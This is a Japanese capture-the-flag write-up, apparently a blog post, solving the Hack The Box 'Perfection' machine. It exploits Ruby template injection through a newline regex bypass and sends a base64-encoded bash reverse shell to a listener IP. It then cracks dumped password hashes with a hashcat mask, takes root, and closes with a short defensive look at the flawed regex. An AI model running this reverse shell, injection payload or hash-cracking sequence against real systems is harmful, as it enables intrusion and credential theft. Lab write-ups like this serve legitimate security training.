![見出し画像](https://assets.st-note.com/production/uploads/images/160752344/rectangle_large_type_2_923b83caba0cf5c01e2ee33240b78142.png?width=1200)
HTB Perfection
port探索
nmap
$ nmap -sCV -A -v -Pn -p- --min-rate 5000 10.10.11.253 -oN nmap_result.txt
ssh(22)とhttp(80)が開いているようです。
![](https://assets.st-note.com/img/1730763925-BLTFUaqPAZ538Mo4OlEz17tk.png?width=1200)
ウェブサイト確認
1.WEBrick 1.7.0を使っています
Rubyです。
![](https://assets.st-note.com/img/1730765693-0aKiW7fZcU2LyGdorjPxnpk8.png)
2.グレード計算ツールでsubmit
![](https://assets.st-note.com/img/1730766092-zuDviUWCNPXr5AS0aowZgKhq.png?width=1200)
weighted gradeの入力を試してみる
osコマンドインジェクション
lsが怒られた。
![](https://assets.st-note.com/img/1730767085-zQPZoG0HEXjTOhvM3SRUwa4n.png)
SSTI
![](https://assets.st-note.com/img/1730808712-jqM6RoxF0sdAIZKQrt4m25uV.png?width=1200)
![](https://assets.st-note.com/img/1730808761-mFktNxeu0GYSXoUhAERZO4i7.png?width=1200)
改行するといけるか?
![](https://assets.st-note.com/img/1730809033-1gQVseA5MxjKq7LfPlXcEvJ6.png?width=1200)
発火しました。
![](https://assets.st-note.com/img/1730809115-5OAhiT2r4NvnBQzm7JDX19pq.png)
whoami
![](https://assets.st-note.com/img/1730810560-uHYhfle9GLwTOXd5zxiaZWt6.png?width=1200)
susan
![](https://assets.st-note.com/img/1730810605-dgDysuYLFGp9RZTHz1h3EKSC.png)
About Usにいた人です。
英語を読むのは辛いですが、「sys」や「admin」で検索しておくとヒントにひっかかることがあるようです。
![](https://assets.st-note.com/img/1730810785-9fIMwhZuCYW8pxUTmgKXPGH6.png?width=1200)
home配下を確認
BurpSuiteに戻り/home配下を見てみるとsusanがやはりいたので/home/susanを確認
![](https://assets.st-note.com/img/1730810977-A8afp15bZ0etB7HolP4KQcJm.png)
sudo ls /root/
一応sysadminと説明されていたので実行してみる
![](https://assets.st-note.com/img/1730812915-ZEq1tldL59JTxgejhCGAOHXK.png)
ReverseShell
基本シェル
bash -i >& /dev/tcp/10.10.16.5/9001 0>&1
base64でエンコード
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41LzkwMDEgMD4mMQ==
+や==があるのでURLエンコード
%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%69%34%31%4c%7a%6b%77%4d%44%45%67%4d%44%34%6d%4d%51%3d%3d
これを組み込む
echoでbase64でエンコードされたリバースシェルを標準出力
|(パイプ)でbase64 -d でデコードしてプレーンなシェルが文字列として出力
| bash でシェルを実行
`echo+"%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%69%34%31%4c%7a%6b%77%4d%44%45%67%4d%44%34%6d%4d%51%3d%3d"+|+base64+-d+|+bash`
![](https://assets.st-note.com/img/1730813845-yHPT4tgQ6ODfcJGmSqEvL2ru.png?width=1200)
susanのホームディレクトリ
MigrationしたときのDBデータがあるようです。
![](https://assets.st-note.com/img/1730818021-CY7mOEiz5aD2RMrqAhg3Jsb0.png)
sqlite3
$ sqlite3 pupilpath_credentials.db
$ .tables
$ select * from users;
1|Susan Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57
3|Harry Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393
4|David Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a
5|Stephen Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8
susanのメール
susan@perfection:~/Migration$ cat /var/mail/susan
cat /var/mail/susan
Due to our transition to Jupiter Grades because of the PupilPath data breach,
I thought we should also migrate our credentials
('our' including the other students in our class) to the new platform.
I also suggest a new password specification, to make things easier for everyone.
The password format is:
{firstname}_{firstname backwards}_
{randomly generated integer between 1 and 1,000,000,000}
Note that all letters of the first name should be convered into lowercase.
Please hit me with updates on the migration when you can.
I am currently registering our university with the platform.
- Tina, your delightful student
つまりパスワードは
susan_nasus_000000000
をhashにして
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
になる。
hashcat
$ hashcat -m 1400 hash.txt -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d
sudo -i
![](https://assets.st-note.com/img/1730821673-xIwvPQYOEk8etnX9dlNpB6zH.png)
# id
uid=0(root) gid=0(root) groups=0(root)
問題のソースコード
ここからは侵入された原因と対策を見ていきます。
今回はRubyのSSTIがきっかけで侵入できました。
該当ソースは下記です。
![](https://assets.st-note.com/img/1730814568-bVHGrvNpAuh6X58RnEZk2lOI.png?width=1200)
抜粋するとRegexで大小英字と数字以外はエラーとするようになっています。
params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/
Rubyの=~はデフォルト1行のみの評価となっております。
今回の入力項目は改行できないテキストボックスなので一見すると正しいように見えますが、proxyを通してrequestを編集し改行を含まれるというケースに対応できません。
おしりにmをつけることでマルチラインモードで評価します。
params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/m